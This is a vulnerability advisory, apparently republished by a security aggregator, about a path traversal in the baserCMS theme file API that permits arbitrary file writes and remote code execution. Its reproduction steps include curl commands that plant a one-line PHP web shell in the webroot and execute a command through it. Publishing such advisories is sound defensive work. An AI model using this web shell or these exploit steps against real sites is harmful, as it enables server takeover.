Alta

baserCMS Path Traversal Leads to Arbitrary File Write and RCE via Theme File API

  • Publicada: 31.03.2026
  • Actualizado: 11.10.2026 10:22

Summary

A path traversal vulnerability exists in the baserCMS 5.x theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write.

An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).

Affected Code

File: plugins/bc-theme-file/src/Service/BcThemeFileService.php

php
public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
    // ...
    return $viewPath . $type . DS . $path;  // $path is not sanitized
}

Attack Scenario

  1. The attacker compromises an administrator account (password leak, brute force, etc.)
  2. Obtains an access token via API login
  3. Specifies path: "../../../../webroot/" in the theme file creation API
  4. A PHP file is created in the webroot
  5. The attacker accesses the created PHP file to achieve RCE

Reproduction Steps

bash
# 1. Login
curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"password"}'

# 2. Create webshell
curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "theme": "BcThemeSample",
    "plugin": "",
    "type": "layout",
    "path": "../../../../webroot/",
    "base_name": "shell",
    "ext": "php",
    "contents": "<?php system($_GET[\"cmd\"]); ?>"
  }'

# 3. RCE
curl "http://target/shell.php?cmd=id"

Vulnerability Details

Item Details
CWE CWE-22: Path Traversal, CWE-73: External Control of File Name or Path
Impact Arbitrary file write, Remote Code Execution (RCE)
Attack Prerequisites Administrator privileges + API enabled (USE_CORE_ADMIN_API=true), or chaining with XSS, etc.
Reproducibility High (PoC verified)
Test Environment baserCMS 5.x (Docker environment)

Additional Notes on Attack Prerequisites

  • When API is enabled (USE_CORE_ADMIN_API=true): API calls can be made externally using JWT token authentication. Direct exploitation is possible.
  • Default settings (USE_CORE_ADMIN_API=false): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required.

Recommended Fix

Rather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using realpath(), etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected.

The specific implementation location and method are left to the project's design decisions.

Comparison with Other CMS

WordPress's theme editor only allows editing within wp-content/themes/ and does not permit writes outside that directory. CVE-2019-8943 was reported as a path traversal vulnerability in wp_crop_image() that allowed writing cropped image output to an arbitrary directory by including ../ in the filename.

This vulnerability is not a matter of "administrators being able to execute arbitrary code" by design, but rather stems from a security boundary violation where "the theme editing function can write outside the theme directory (to webroot, config, etc.)."

Resources

This advisory was translated from Japanese to English using GitHub Copilot.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer baserproject/basercms < 5.2.3 5.2.3

Referencias

Puntuación CVSS 7.2/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-22, CWE-73
Plataforma
Composer
Paquete
baserproject/basercms
Publicada
31.03.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-c5c6-37vq-pjcq - CC BY 4.0

Historial de vulnerabilidades: baserproject/basercms

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (56) en el archivo
Entradas en total
56
Primera → última
08.2020 03.2026
Sin corrección
7
Explotada en ataques
0

Distribución por gravedad

  • Crítica 7
  • Alta 15
  • Media 29
  • Baja 5

Divulgaciones por año

  1. 2020: 6
  2. 2021: 6
  3. 2022: 21
  4. 2023: 7
  5. 2024: 7
  6. 2025: 0
  7. 2026: 9
Gravedad:
  1. Alta · 7.1 CVE-2026-32734 < 5.2.3 5.2.3
  2. baserCMS Path Traversal Leads to Arbitrary File Write and RCE via Theme File API esta entrada
    Alta · 7.2 CVE-2026-30940 < 5.2.3 5.2.3
  3. Crítica CVE-2026-30880 < 5.2.3 5.2.3
  4. Crítica · 9.1 CVE-2026-30877 < 5.2.3 5.2.3
  5. Crítica · 9.8 CVE-2023-25655 < 4.7.5 4.7.5
  6. Crítica · 9.8 CVE-2023-25654 < 4.7.5 4.7.5
  7. Alta · 8.8 CVE-2016-4881 < 3.0.11 3.0.11
  8. Alta · 8.8 CVE-2016-4878 < 3.0.11 3.0.11
  9. Alta · 8.8 CVE-2018-0569 >= 4.0.0, <= 4.1.0.1, <= 3.0.15 sin corrección
  10. Crítica · 9.8 CVE-2017-10842 < 3.0.15, >= 4.0.0, < 4.0.6 3.0.15, 4.0.6
  11. Alta · 8.8 CVE-2017-10844 <= 3.0.14, >= 4.0.0, <= 4.0.5 sin corrección
  12. Alta · 8.1 CVE-2018-0572 >= 4.0.0, < 4.1.1, < 3.0.16 4.1.1, 3.0.16
  13. Alta · 7.5 CVE-2017-10843 < 3.0.15, >= 4.0.0, < 4.0.6 3.0.15, 4.0.6
  14. Alta · 8.8 CVE-2016-4879 <= 3.0.10 sin corrección
  15. Alta · 7.2 CVE-2018-18942 < 4.1.4 4.1.4
  16. Alta · 7.7 CVE-2021-41279 < 4.5.4 4.5.4
  17. Alta · 8.7 CVE-2021-39136 < 4.5.1 4.5.1
Mostrar más (2) Mostrando 20 de 22

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.